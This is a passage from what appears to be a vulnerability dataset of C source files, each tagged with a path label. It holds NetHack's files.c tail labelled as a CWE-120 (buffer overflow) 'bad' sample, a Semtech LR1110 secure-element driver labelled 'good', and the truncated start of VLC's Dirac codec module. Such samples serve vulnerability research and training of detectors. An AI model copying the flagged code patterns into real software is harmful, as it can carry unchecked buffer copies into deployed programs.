#endif #ifdef VMS filename = vms_basename(filename); /* vms_basename strips off 'type' suffix as well as path and version; we want to put suffix back (".c" assumed); since it always returns a pointer to a static buffer, we can safely modify its result */ Strcat((char *) filename, ".c"); #endif /* * Wildcard match will only work if there's a single pattern (which * might be a single file name without any wildcarding) rather than * a space-separated list. * [to NOT do: We could step through the space-separated list and * attempt a wildcard match against each element, but that would be * overkill for the intended usage.] */ if (wildcards && pmatch(debugfiles, filename)) return TRUE; /* check whether filename is an element of the list */ if ((p = strstr(debugfiles, filename)) != 0) { int l = (int) strlen(filename); if ((p == debugfiles || p[-1] == ' ' || p[-1] == '/') && (p[l] == ' ' || p[l] == '\0')) return TRUE; } return FALSE; } #endif /*DEBUG*/ #ifdef UNIX #ifndef PATH_MAX #include <limits.h> #endif #endif void reveal_paths(VOID_ARGS) { const char *fqn, *nodumpreason; char buf[BUFSZ]; #if defined(SYSCF) || !defined(UNIX) || defined(DLB) const char *filep; #ifdef SYSCF const char *gamename = (hname && *hname) ? hname : "NetHack"; #endif #endif #ifdef UNIX char *endp, *envp, cwdbuf[PATH_MAX]; #endif #ifdef PREFIXES_IN_USE const char *strp; int i, maxlen = 0; raw_print("Variable playground locations:"); for (i = 0; i < PREFIX_COUNT; i++) raw_printf(" [%-10s]=\"%s\"", fqn_prefix_names[i], fqn_prefix[i] ? fqn_prefix[i] : "not set"); #endif /* sysconf file */ #ifdef SYSCF #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[SYSCONFPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #else buf[0] = '\0'; #endif raw_printf("%s system configuration file%s:", s_suffix(gamename), buf); #ifdef SYSCF_FILE filep = SYSCF_FILE; #else filep = "sysconf"; #endif fqn = fqname(filep, SYSCONFPREFIX, 0); if (fqn) { set_configfile_name(fqn); filep = configfile; } raw_printf(" \"%s\"", filep); #else /* !SYSCF */ raw_printf("No system configuration file."); #endif /* ?SYSCF */ /* symbols file */ buf[0] = '\0'; #ifndef UNIX #ifdef PREFIXES_IN_USE #ifdef WIN32 strp = fqn_prefix_names[SYSCONFPREFIX]; #else strp = fqn_prefix_names[HACKPREFIX]; #endif /* WIN32 */ maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif /* PREFIXES_IN_USE */ raw_printf("The loadable symbols file%s:", buf); #endif /* UNIX */ #ifdef UNIX envp = getcwd(cwdbuf, PATH_MAX); if (envp) { raw_print("The loadable symbols file:"); raw_printf(" \"%s/%s\"", envp, SYMBOLS); } #else /* UNIX */ filep = SYMBOLS; #ifdef PREFIXES_IN_USE #ifdef WIN32 fqn = fqname(filep, SYSCONFPREFIX, 1); #else fqn = fqname(filep, HACKPREFIX, 1); #endif /* WIN32 */ if (fqn) filep = fqn; #endif /* PREFIXES_IN_USE */ raw_printf(" \"%s\"", filep); #endif /* UNIX */ /* dlb vs non-dlb */ buf[0] = '\0'; #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[DATAPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif #ifdef DLB raw_printf("Basic data files%s are collected inside:", buf); filep = DLBFILE; #ifdef VERSION_IN_DLB_FILENAME Strcpy(buf, build_dlb_filename((const char *) 0)); #ifdef PREFIXES_IN_USE fqn = fqname(buf, DATAPREFIX, 1); if (fqn) filep = fqn; #endif /* PREFIXES_IN_USE */ #endif raw_printf(" \"%s\"", filep); #ifdef DLBFILE2 filep = DLBFILE2; raw_printf(" \"%s\"", filep); #endif #else /* !DLB */ raw_printf("Basic data files%s are in many separate files.", buf); #endif /* ?DLB */ /* dumplog */ #ifndef DUMPLOG nodumpreason = "not supported"; #else nodumpreason = "disabled"; #ifdef SYSCF fqn = sysopt.dumplogfile; #else /* !SYSCF */ #ifdef DUMPLOG_FILE fqn = DUMPLOG_FILE; #else fqn = (char *) 0; #endif #endif /* ?SYSCF */ if (fqn && *fqn) { raw_print("Your end-of-game disclosure file:"); (void) dump_fmtstr(fqn, buf, FALSE); buf[sizeof buf - sizeof " \"\""] = '\0'; raw_printf(" \"%s\"", buf); } else #endif /* ?DUMPLOG */ raw_printf("No end-of-game disclosure file (%s).", nodumpreason); #ifdef WIN32 if (sysopt.portable_device_top) { const char *pd = get_portable_device(); raw_printf("Writable folder for portable device config (sysconf %s):", "portable_device_top"); raw_printf(" \"%s\"", pd); } #endif /* personal configuration file */ buf[0] = '\0'; #ifdef PREFIXES_IN_USE strp = fqn_prefix_names[CONFIGPREFIX]; maxlen = BUFSZ - sizeof " (in )"; if (strp && (int) strlen(strp) < maxlen) Sprintf(buf, " (in %s)", strp); #endif /* PREFIXES_IN_USE */ raw_printf("Your personal configuration file%s:", buf); #ifdef UNIX buf[0] = '\0'; if ((envp = nh_getenv("HOME")) != 0) { copynchars(buf, envp, (int) sizeof buf - 1 - 1); Strcat(buf, "/"); } endp = eos(buf); copynchars(endp, default_configfile, (int) (sizeof buf - 1 - strlen(buf))); #if defined(__APPLE__) /* UNIX+__APPLE__ => MacOSX aka OSX aka macOS */ if (envp) { if (access(buf, 4) == -1) { /* 4: R_OK, -1: failure */ /* read access to default failed; might be protected excessively but more likely it doesn't exist; try first alternate: "$HOME/Library/Pref..."; 'endp' points past '/' */ copynchars(endp, "Library/Preferences/NetHack Defaults", (int) (sizeof buf - 1 - strlen(buf))); if (access(buf, 4) == -1) { /* first alternate failed, try second: ".../NetHack Defaults.txt"; no 'endp', just append */ copynchars(eos(buf), ".txt", (int) (sizeof buf - 1 - strlen(buf))); if (access(buf, 4) == -1) { /* second alternate failed too, so revert to the original default ("$HOME/.nethackrc") for message */ copynchars(endp, default_configfile, (int) (sizeof buf - 1 - strlen(buf))); } } } } #endif /* __APPLE__ */ raw_printf(" \"%s\"", buf); #else /* !UNIX */ fqn = (const char *) 0; #ifdef PREFIXES_IN_USE fqn = fqname(default_configfile, CONFIGPREFIX, 2); #endif raw_printf(" \"%s\"", fqn ? fqn : default_configfile); #endif /* ?UNIX */ raw_print(""); } /* ---------- BEGIN TRIBUTE ----------- */ /* 3.6 tribute code */ #define SECTIONSCOPE 1 #define TITLESCOPE 2 #define PASSAGESCOPE 3 #define MAXPASSAGES SIZE(context.novel.pasg) /* 20 */ static int FDECL(choose_passage, (int, unsigned)); /* choose a random passage that hasn't been chosen yet; once all have been chosen, reset the tracking to make all passages available again */ static int choose_passage(passagecnt, oid) int passagecnt; /* total of available passages */ unsigned oid; /* book.o_id, used to determine whether re-reading same book */ { int idx, res; if (passagecnt < 1) return 0; /* if a different book or we've used up all the passages already, reset in order to have all 'passagecnt' passages available */ if (oid != context.novel.id || context.novel.count == 0) { int i, range = passagecnt, limit = MAXPASSAGES; context.novel.id = oid; if (range <= limit) { /* collect all of the N indices */ context.novel.count = passagecnt; for (idx = 0; idx < MAXPASSAGES; idx++) context.novel.pasg[idx] = (xchar) ((idx < passagecnt) ? idx + 1 : 0); } else { /* collect MAXPASSAGES of the N indices */ context.novel.count = MAXPASSAGES; for (idx = i = 0; i < passagecnt; ++i, --range) if (range > 0 && rn2(range) < limit) { context.novel.pasg[idx++] = (xchar) (i + 1); --limit; } } } idx = rn2(context.novel.count); res = (int) context.novel.pasg[idx]; /* move the last slot's passage index into the slot just used and reduce the number of passages available */ context.novel.pasg[idx] = context.novel.pasg[--context.novel.count]; return res; } /* Returns True if you were able to read something. */ boolean read_tribute(tribsection, tribtitle, tribpassage, nowin_buf, bufsz, oid) const char *tribsection, *tribtitle; int tribpassage, bufsz; char *nowin_buf; unsigned oid; /* book identifier */ { dlb *fp; char line[BUFSZ], lastline[BUFSZ]; int scope = 0; int linect = 0, passagecnt = 0, targetpassage = 0; const char *badtranslation = "an incomprehensible foreign translation"; boolean matchedsection = FALSE, matchedtitle = FALSE; winid tribwin = WIN_ERR; boolean grasped = FALSE; boolean foundpassage = FALSE; if (nowin_buf) *nowin_buf = '\0'; /* check for mandatories */ if (!tribsection || !tribtitle) { if (!nowin_buf) pline("It's %s of \"%s\"!", badtranslation, tribtitle); return grasped; } debugpline3("read_tribute %s, %s, %d.", tribsection, tribtitle, tribpassage); fp = dlb_fopen(TRIBUTEFILE, "r"); if (!fp) { /* this is actually an error - cannot open tribute file! */ if (!nowin_buf) pline("You feel too overwhelmed to continue!"); return grasped; } /* * Syntax (not case-sensitive): * %section books * * In the books section: * %title booktitle (n) * where booktitle=book title without quotes * (n)= total number of passages present for this title * %passage k * where k=sequential passage number * * %e ends the passage/book/section * If in a passage, it marks the end of that passage. * If in a book, it marks the end of that book. * If in a section, it marks the end of that section. * * %section death */ *line = *lastline = '\0'; while (dlb_fgets(line, sizeof line, fp) != 0) { linect++; (void) strip_newline(line); switch (line[0]) { case '%': if (!strncmpi(&line[1], "section ", sizeof "section " - 1)) { char *st = &line[9]; /* 9 from "%section " */ scope = SECTIONSCOPE; matchedsection = !strcmpi(st, tribsection) ? TRUE : FALSE; } else if (!strncmpi(&line[1], "title ", sizeof "title " - 1)) { char *st = &line[7]; /* 7 from "%title " */ char *p1, *p2; if ((p1 = index(st, '(')) != 0) { *p1++ = '\0'; (void) mungspaces(st); if ((p2 = index(p1, ')')) != 0) { *p2 = '\0'; passagecnt = atoi(p1); scope = TITLESCOPE; if (matchedsection && !strcmpi(st, tribtitle)) { matchedtitle = TRUE; targetpassage = !tribpassage ? choose_passage(passagecnt, oid) : (tribpassage <= passagecnt) ? tribpassage : 0; } else { matchedtitle = FALSE; } } } } else if (!strncmpi(&line[1], "passage ", sizeof "passage " - 1)) { int passagenum = 0; char *st = &line[9]; /* 9 from "%passage " */ mungspaces(st); passagenum = atoi(st); if (passagenum > 0 && passagenum <= passagecnt) { scope = PASSAGESCOPE; if (matchedtitle && passagenum == targetpassage) { foundpassage = TRUE; if (!nowin_buf) { tribwin = create_nhwindow(NHW_MENU); if (tribwin == WIN_ERR) goto cleanup; } } } } else if (!strncmpi(&line[1], "e ", sizeof "e " - 1)) { if (foundpassage) goto cleanup; if (scope == TITLESCOPE) matchedtitle = FALSE; if (scope == SECTIONSCOPE) matchedsection = FALSE; if (scope) --scope; } else { debugpline1("tribute file error: bad %% command, line %d.", linect); } break; case '#': /* comment only, next! */ break; default: if (foundpassage) { if (!nowin_buf) { /* outputting multi-line passage to text window */ putstr(tribwin, 0, line); if (*line) Strcpy(lastline, line); } else { /* fetching one-line passage into buffer */ copynchars(nowin_buf, line, bufsz - 1); goto cleanup; /* don't wait for "%e passage" */ } } } } cleanup: (void) dlb_fclose(fp); if (nowin_buf) { /* one-line buffer */ grasped = *nowin_buf ? TRUE : FALSE; } else { if (tribwin != WIN_ERR) { /* implies 'foundpassage' */ /* multi-line window, normal case; if lastline is empty, there were no non-empty lines between "%passage n" and "%e passage" so we leave 'grasped' False */ if (*lastline) { display_nhwindow(tribwin, FALSE); /* put the final attribution line into message history, analogous to the summary line from long quest messages */ if (index(lastline, '[')) mungspaces(lastline); /* to remove leading spaces */ else /* construct one if necessary */ Sprintf(lastline, "[%s, by Terry Pratchett]", tribtitle); putmsghistory(lastline, FALSE); grasped = TRUE; } destroy_nhwindow(tribwin); } if (!grasped) /* multi-line window, problem */ pline("It seems to be %s of \"%s\"!", badtranslation, tribtitle); } return grasped; } boolean Death_quote(buf, bufsz) char *buf; int bufsz; { unsigned death_oid = 1; /* chance of oid #1 being a novel is negligible */ return read_tribute("Death", "Death Quotes", 0, buf, bufsz, death_oid); } /* ---------- END TRIBUTE ----------- */ /*files.c*/
./CrossVul/dataset_final_sorted/CWE-120/c/bad_1321_0
crossvul-cpp_data_good_3927_2
/*! * \file lr1110-se.c * * \brief LR1110 Secure Element hardware implementation * * \copyright Revised BSD License, see section \ref LICENSE. * * \code * ______ _ * / _____) _ | | * ( (____ _____ ____ _| |_ _____ ____| |__ * \____ \| ___ | (_ _) ___ |/ ___) _ \ * _____) ) ____| | | || |_| ____( (___| | | | * (______/|_____)_|_|_| \__)_____)\____)_| |_| * (C)2019-2019 Semtech * * \endcode * * \authors Semtech WSP Applications Team */ #include <stdlib.h> #include <stdint.h> #include "lr1110.h" #include "lr1110_system.h" #include "lr1110_crypto_engine.h" #include "secure-element.h" #include "se-identity.h" #include "lr1110-se-hal.h" /*! * Number of supported crypto keys */ #define NUM_OF_KEYS 23 /* * CMAC/AES Message Integrity Code (MIC) Block B0 size */ #define MIC_BLOCK_BX_SIZE 16 /* * Maximum size of the message that can be handled by the crypto operations */ #define CRYPTO_MAXMESSAGE_SIZE 256 /* * Maximum size of the buffer for crypto operations */ #define CRYPTO_BUFFER_SIZE CRYPTO_MAXMESSAGE_SIZE + MIC_BLOCK_BX_SIZE /*! * Secure-element LoRaWAN identity local storage. */ typedef struct sSecureElementNvCtx { /* * DevEUI storage */ uint8_t DevEui[SE_EUI_SIZE]; /* * Join EUI storage */ uint8_t JoinEui[SE_EUI_SIZE]; /* * PIN of the LR1110 */ uint8_t Pin[SE_PIN_SIZE]; } SecureElementNvCtx_t; static SecureElementNvCtx_t SeContext = { /*! * end-device IEEE EUI (big endian) * * \remark In this application the value is automatically generated by calling * BoardGetUniqueId function */ .DevEui = LORAWAN_DEVICE_EUI, /*! * App/Join server IEEE EUI (big endian) */ .JoinEui = LORAWAN_JOIN_EUI, /*! * Secure-element pin (big endian) */ .Pin = SECURE_ELEMENT_PIN, }; static SecureElementNvmEvent SeNvmCtxChanged; /*! * LR1110 radio context */ extern lr1110_t LR1110; /*! * Converts key ids from SecureElement to LR1110 * * \param [IN] key_id SecureElement key id to be converted * * \retval key_id Converted LR1110 key id */ static lr1110_crypto_keys_idx_t convert_key_id_from_se_to_lr1110( KeyIdentifier_t key_id ); /*! * Dummy callback in case if the user provides NULL function pointer */ static void DummyCB( void ) { return; } SecureElementStatus_t SecureElementInit( SecureElementNvmEvent seNvmCtxChanged ) { lr1110_crypto_status_t status = LR1110_CRYPTO_STATUS_ERROR; // Assign callback if( seNvmCtxChanged != 0 ) { SeNvmCtxChanged = seNvmCtxChanged; } else { SeNvmCtxChanged = DummyCB; } lr1110_crypto_restore_from_flash( &LR1110, &status ); #if defined( SECURE_ELEMENT_PRE_PROVISIONED ) // Read LR1110 pre-provisioned identity lr1110_system_read_uid( &LR1110, SeContext.DevEui ); lr1110_system_read_join_eui( &LR1110, SeContext.JoinEui ); lr1110_system_read_pin( &LR1110, SeContext.Pin ); #else #if( STATIC_DEVICE_EUI == 0 ) // Get a DevEUI from MCU unique ID LR1110SeHalGetUniqueId( SeContext.DevEui ); #endif #endif SeNvmCtxChanged( ); return ( SecureElementStatus_t ) status; } SecureElementStatus_t SecureElementRestoreNvmCtx( void* seNvmCtx ) { lr1110_crypto_status_t status = LR1110_CRYPTO_STATUS_ERROR; if( seNvmCtx == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } // Restore lr1110 crypto context lr1110_crypto_restore_from_flash( &LR1110, &status ); // Restore nvm context memcpy1( ( uint8_t* ) &SeContext, ( uint8_t* ) seNvmCtx, sizeof( SeContext ) ); return ( SecureElementStatus_t ) status; } void* SecureElementGetNvmCtx( size_t* seNvmCtxSize ) { *seNvmCtxSize = sizeof( SeContext ); return &SeContext; } SecureElementStatus_t SecureElementSetKey( KeyIdentifier_t keyID, uint8_t* key ) { if( key == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } SecureElementStatus_t status = SECURE_ELEMENT_ERROR; if( ( keyID == MC_KEY_0 ) || ( keyID == MC_KEY_1 ) || ( keyID == MC_KEY_2 ) || ( keyID == MC_KEY_3 ) ) { // Decrypt the key if its a Mckey lr1110_crypto_derive_and_store_key( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( MC_KE_KEY ), convert_key_id_from_se_to_lr1110( keyID ), key ); if( status == SECURE_ELEMENT_SUCCESS ) { lr1110_crypto_store_to_flash( &LR1110, ( lr1110_crypto_status_t* ) &status ); } return status; } else { lr1110_crypto_set_key( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( keyID ), key ); if( status == SECURE_ELEMENT_SUCCESS ) { lr1110_crypto_store_to_flash( &LR1110, ( lr1110_crypto_status_t* ) &status ); } return status; } } SecureElementStatus_t SecureElementComputeAesCmac( uint8_t* micBxBuffer, uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint32_t* cmac ) { SecureElementStatus_t status = SECURE_ELEMENT_ERROR; uint16_t localSize = size; uint8_t* localbuffer = buffer; if( micBxBuffer != NULL ) { uint8_t micBuff[CRYPTO_BUFFER_SIZE]; memset1( micBuff, 0, CRYPTO_BUFFER_SIZE ); memcpy1( micBuff, micBxBuffer, MIC_BLOCK_BX_SIZE ); memcpy1( ( micBuff + MIC_BLOCK_BX_SIZE ), buffer, size ); localSize += MIC_BLOCK_BX_SIZE; localbuffer = micBuff; } lr1110_crypto_compute_aes_cmac( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( keyID ), localbuffer, localSize, ( uint8_t* ) cmac ); return status; } SecureElementStatus_t SecureElementVerifyAesCmac( uint8_t* buffer, uint16_t size, uint32_t expectedCmac, KeyIdentifier_t keyID ) { SecureElementStatus_t status = SECURE_ELEMENT_ERROR; if( buffer == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } lr1110_crypto_verify_aes_cmac( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( keyID ), buffer, size, ( uint8_t* ) &expectedCmac ); return status; } SecureElementStatus_t SecureElementAesEncrypt( uint8_t* buffer, uint16_t size, KeyIdentifier_t keyID, uint8_t* encBuffer ) { SecureElementStatus_t status = SECURE_ELEMENT_ERROR; if( ( buffer == NULL ) || ( encBuffer == NULL ) ) { return SECURE_ELEMENT_ERROR_NPE; } lr1110_crypto_aes_encrypt_01( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( keyID ), buffer, size, encBuffer ); return status; } SecureElementStatus_t SecureElementDeriveAndStoreKey( Version_t version, uint8_t* input, KeyIdentifier_t rootKeyID, KeyIdentifier_t targetKeyID ) { SecureElementStatus_t status = SECURE_ELEMENT_ERROR; if( input == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } lr1110_crypto_derive_and_store_key( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( rootKeyID ), convert_key_id_from_se_to_lr1110( targetKeyID ), input ); lr1110_crypto_store_to_flash( &LR1110, ( lr1110_crypto_status_t* ) &status ); return status; } SecureElementStatus_t SecureElementProcessJoinAccept( JoinReqIdentifier_t joinReqType, uint8_t* joinEui, uint16_t devNonce, uint8_t* encJoinAccept, uint8_t encJoinAcceptSize, uint8_t* decJoinAccept, uint8_t* versionMinor ) { SecureElementStatus_t status = SECURE_ELEMENT_ERROR; if( ( encJoinAccept == NULL ) || ( decJoinAccept == NULL ) || ( versionMinor == NULL ) ) { return SECURE_ELEMENT_ERROR_NPE; } // Check that frame size isn't bigger than a JoinAccept with CFList size if( encJoinAcceptSize > LORAMAC_JOIN_ACCEPT_FRAME_MAX_SIZE ) { return SECURE_ELEMENT_ERROR_BUF_SIZE; } // Determine decryption key KeyIdentifier_t encKeyID = NWK_KEY; if( joinReqType != JOIN_REQ ) { encKeyID = J_S_ENC_KEY; } // - Header buffer to be used for MIC computation // - LoRaWAN 1.0.x : micHeader = [MHDR(1)] // - LoRaWAN 1.1.x : micHeader = [JoinReqType(1), JoinEUI(8), DevNonce(2), MHDR(1)] // Try first to process LoRaWAN 1.0.x JoinAccept uint8_t micHeader10[1] = { 0x20 }; // cmac = aes128_cmac(NwkKey, MHDR | JoinNonce | NetID | DevAddr | DLSettings | RxDelay | CFList | // CFListType) lr1110_crypto_process_join_accept( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( encKeyID ), convert_key_id_from_se_to_lr1110( NWK_KEY ), ( lr1110_crypto_lorawan_version_t ) 0, micHeader10, encJoinAccept + 1, encJoinAcceptSize - 1, decJoinAccept + 1 ); if( status == SECURE_ELEMENT_SUCCESS ) { *versionMinor = ( ( decJoinAccept[11] & 0x80 ) == 0x80 ) ? 1 : 0; if( *versionMinor == 0 ) { // Network server is operating according to LoRaWAN 1.0.x return SECURE_ELEMENT_SUCCESS; } } #if( USE_LRWAN_1_1_X_CRYPTO == 1 ) // 1.0.x trial failed. Trying to process LoRaWAN 1.1.x JoinAccept uint8_t micHeader11[JOIN_ACCEPT_MIC_COMPUTATION_OFFSET] = { 0 }; uint16_t bufItr = 0; // cmac = aes128_cmac(JSIntKey, JoinReqType | JoinEUI | DevNonce | MHDR | JoinNonce | NetID | DevAddr | // DLSettings | RxDelay | CFList | CFListType) micHeader11[bufItr++] = ( uint8_t ) joinReqType; memcpyr( micHeader11 + bufItr, joinEui, LORAMAC_JOIN_EUI_FIELD_SIZE ); bufItr += LORAMAC_JOIN_EUI_FIELD_SIZE; micHeader11[bufItr++] = devNonce & 0xFF; micHeader11[bufItr++] = ( devNonce >> 8 ) & 0xFF; micHeader11[bufItr++] = 0x20; lr1110_crypto_process_join_accept( &LR1110, ( lr1110_crypto_status_t* ) &status, convert_key_id_from_se_to_lr1110( encKeyID ), convert_key_id_from_se_to_lr1110( J_S_INT_KEY ), ( lr1110_crypto_lorawan_version_t ) 1, micHeader11, encJoinAccept + 1, encJoinAcceptSize - 1, decJoinAccept + 1 ); if( status == SECURE_ELEMENT_SUCCESS ) { *versionMinor = ( ( decJoinAccept[11] & 0x80 ) == 0x80 ) ? 1 : 0; if( *versionMinor == 1 ) { // Network server is operating according to LoRaWAN 1.1.x return SECURE_ELEMENT_SUCCESS; } } #endif return status; } SecureElementStatus_t SecureElementRandomNumber( uint32_t* randomNum ) { if( randomNum == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } *randomNum = LR1110SeHalGetRandomNumber( ); return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementSetDevEui( uint8_t* devEui ) { if( devEui == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeContext.DevEui, devEui, SE_EUI_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetDevEui( void ) { return SeContext.DevEui; } SecureElementStatus_t SecureElementSetJoinEui( uint8_t* joinEui ) { if( joinEui == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeContext.JoinEui, joinEui, SE_EUI_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetJoinEui( void ) { return SeContext.JoinEui; } SecureElementStatus_t SecureElementSetPin( uint8_t* pin ) { if( pin == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeContext.Pin, pin, SE_PIN_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetPin( void ) { return SeContext.Pin; } static lr1110_crypto_keys_idx_t convert_key_id_from_se_to_lr1110( KeyIdentifier_t key_id ) { lr1110_crypto_keys_idx_t id = LR1110_CRYPTO_KEYS_IDX_GP0; switch( key_id ) { case APP_KEY: id = LR1110_CRYPTO_KEYS_IDX_APP_KEY; break; case NWK_KEY: id = LR1110_CRYPTO_KEYS_IDX_NWK_KEY; break; case J_S_INT_KEY: id = LR1110_CRYPTO_KEYS_IDX_J_S_INT_KEY; break; case J_S_ENC_KEY: id = LR1110_CRYPTO_KEYS_IDX_J_S_ENC_KEY; break; case F_NWK_S_INT_KEY: id = LR1110_CRYPTO_KEYS_IDX_F_NWK_S_INT_KEY; break; case S_NWK_S_INT_KEY: id = LR1110_CRYPTO_KEYS_IDX_S_NWK_S_INT_KEY; break; case NWK_S_ENC_KEY: id = LR1110_CRYPTO_KEYS_IDX_NWK_S_ENC_KEY; break; case APP_S_KEY: id = LR1110_CRYPTO_KEYS_IDX_APP_S_KEY; break; case MC_ROOT_KEY: id = LR1110_CRYPTO_KEYS_IDX_GP_KE_KEY_5; break; case MC_KE_KEY: id = LR1110_CRYPTO_KEYS_IDX_GP_KE_KEY_4; break; case MC_KEY_0: id = LR1110_CRYPTO_KEYS_IDX_GP_KE_KEY_0; break; case MC_APP_S_KEY_0: id = LR1110_CRYPTO_KEYS_IDX_MC_APP_S_KEY_0; break; case MC_NWK_S_KEY_0: id = LR1110_CRYPTO_KEYS_IDX_MC_NWK_S_KEY_0; break; case MC_KEY_1: id = LR1110_CRYPTO_KEYS_IDX_GP_KE_KEY_1; break; case MC_APP_S_KEY_1: id = LR1110_CRYPTO_KEYS_IDX_MC_APP_S_KEY_1; break; case MC_NWK_S_KEY_1: id = LR1110_CRYPTO_KEYS_IDX_MC_NWK_S_KEY_1; break; case MC_KEY_2: id = LR1110_CRYPTO_KEYS_IDX_GP_KE_KEY_2; break; case MC_APP_S_KEY_2: id = LR1110_CRYPTO_KEYS_IDX_MC_APP_S_KEY_2; break; case MC_NWK_S_KEY_2: id = LR1110_CRYPTO_KEYS_IDX_MC_NWK_S_KEY_2; break; case MC_KEY_3: id = LR1110_CRYPTO_KEYS_IDX_GP_KE_KEY_3; break; case MC_APP_S_KEY_3: id = LR1110_CRYPTO_KEYS_IDX_MC_APP_S_KEY_3; break; case MC_NWK_S_KEY_3: id = LR1110_CRYPTO_KEYS_IDX_MC_NWK_S_KEY_3; break; case SLOT_RAND_ZERO_KEY: id = LR1110_CRYPTO_KEYS_IDX_GP0; break; default: id = LR1110_CRYPTO_KEYS_IDX_GP1; break; } return id; }
./CrossVul/dataset_final_sorted/CWE-120/c/good_3927_2
crossvul-cpp_data_good_2396_0
/***************************************************************************** * schroedinger.c: Dirac decoder module making use of libschroedinger. * (http://www.bbc.co.uk/rd/projects/dirac/index.shtml) * (http://diracvideo.org) ***************************************************************************** * Copyright (C) 2008-2011 VLC authors and VideoLAN * * Authors: Jonathan Rosser <jonathan.rosser@gmail.com> * David Flynn <davidf at rd dot bbc.co.uk> * Anuradha Suraparaju <asuraparaju at gmail dot com> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2.1 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ /***************************************************************************** * Preamble *****************************************************************************/ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <assert.h> #include <vlc_common.h> #include <vlc_plugin.h> #include <vlc_codec.h> #include <schroedinger/schro.h> /***************************************************************************** * Module descriptor *****************************************************************************/ static int OpenDecoder ( vlc_object_t * ); static void CloseDecoder ( vlc_object_t * ); static int OpenEncoder ( vlc_object_t * ); static void CloseEncoder ( vlc_object_t * ); #define ENC_CFG_PREFIX "sout-schro-" #define ENC_CHROMAFMT "chroma-fmt" #define ENC_CHROMAFMT_TEXT N_("Chroma format") #define ENC_CHROMAFMT_LONGTEXT N_("Picking chroma format will force a " \ "conversion of the video into that format") static const char *const enc_chromafmt_list[] = { "420", "422", "444" }; static const char *const enc_chromafmt_list_text[] = { N_("4:2:0"), N_("4:2:2"), N_("4:4:4") }; #define ENC_RATE_CONTROL "rate-control" #define ENC_RATE_CONTROL_TEXT N_("Rate control method") #define ENC_RATE_CONTROL_LONGTEXT N_("Method used to encode the video sequence") static const char *enc_rate_control_list[] = { "constant_noise_threshold", "constant_bitrate", "low_delay", "lossless", "constant_lambda", "constant_error", "constant_quality" }; static const char *enc_rate_control_list_text[] = { N_("Constant noise threshold mode"), N_("Constant bitrate mode (CBR)"), N_("Low Delay mode"), N_("Lossless mode"), N_("Constant lambda mode"), N_("Constant error mode"), N_("Constant quality mode") }; #define ENC_GOP_STRUCTURE "gop-structure" #define ENC_GOP_STRUCTURE_TEXT N_("GOP structure") #define ENC_GOP_STRUCTURE_LONGTEXT N_("GOP structure used to encode the video sequence") static const char *enc_gop_structure_list[] = { "adaptive", "intra_only", "backref", "chained_backref", "biref", "chained_biref" }; static const char *enc_gop_structure_list_text[] = { N_("No fixed gop structure. A picture can be intra or inter and refer to previous or future pictures."), N_("I-frame only sequence"), N_("Inter pictures refere to previous pictures only"), N_("Inter pictures refere to previous pictures only"), N_("Inter pictures can refer to previous or future pictures"), N_("Inter pictures can refer to previous or future pictures") }; #define ENC_QUALITY "quality" #define ENC_QUALITY_TEXT N_("Constant quality factor") #define ENC_QUALITY_LONGTEXT N_("Quality factor to use in constant quality mode") #define ENC_NOISE_THRESHOLD "noise-threshold" #define ENC_NOISE_THRESHOLD_TEXT N_("Noise Threshold") #define ENC_NOISE_THRESHOLD_LONGTEXT N_("Noise threshold to use in constant noise threshold mode") #define ENC_BITRATE "bitrate" #define ENC_BITRATE_TEXT N_("CBR bitrate (kbps)") #define ENC_BITRATE_LONGTEXT N_("Target bitrate in kbps when encoding in constant bitrate mode") #define ENC_MAX_BITRATE "max-bitrate" #define ENC_MAX_BITRATE_TEXT N_("Maximum bitrate (kbps)") #define ENC_MAX_BITRATE_LONGTEXT N_("Maximum bitrate in kbps when encoding in constant bitrate mode") #define ENC_MIN_BITRATE "min-bitrate" #define ENC_MIN_BITRATE_TEXT N_("Minimum bitrate (kbps)") #define ENC_MIN_BITRATE_LONGTEXT N_("Minimum bitrate in kbps when encoding in constant bitrate mode") #define ENC_AU_DISTANCE "gop-length" #define ENC_AU_DISTANCE_TEXT N_("GOP length") #define 